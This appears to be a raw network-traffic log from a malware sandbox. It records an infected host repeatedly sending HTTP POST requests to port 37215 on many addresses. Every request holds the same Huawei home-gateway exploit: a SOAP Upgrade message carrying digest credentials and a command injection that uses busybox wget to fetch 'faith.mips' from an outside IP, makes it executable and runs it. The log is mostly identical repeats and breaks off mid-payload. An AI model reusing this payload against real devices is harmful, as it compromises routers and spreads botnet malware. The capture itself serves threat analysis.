Jan 22, 2024 04:00:23.276736021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.20	41242	45.42.90.229	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:33.443173885 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.20	34828	92.94.107.197	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:33.456404924 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:34.068552017 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:35.304496050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:37.772646904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:42.716494083 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:52.588506937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:12.332617044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:51.884593010 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 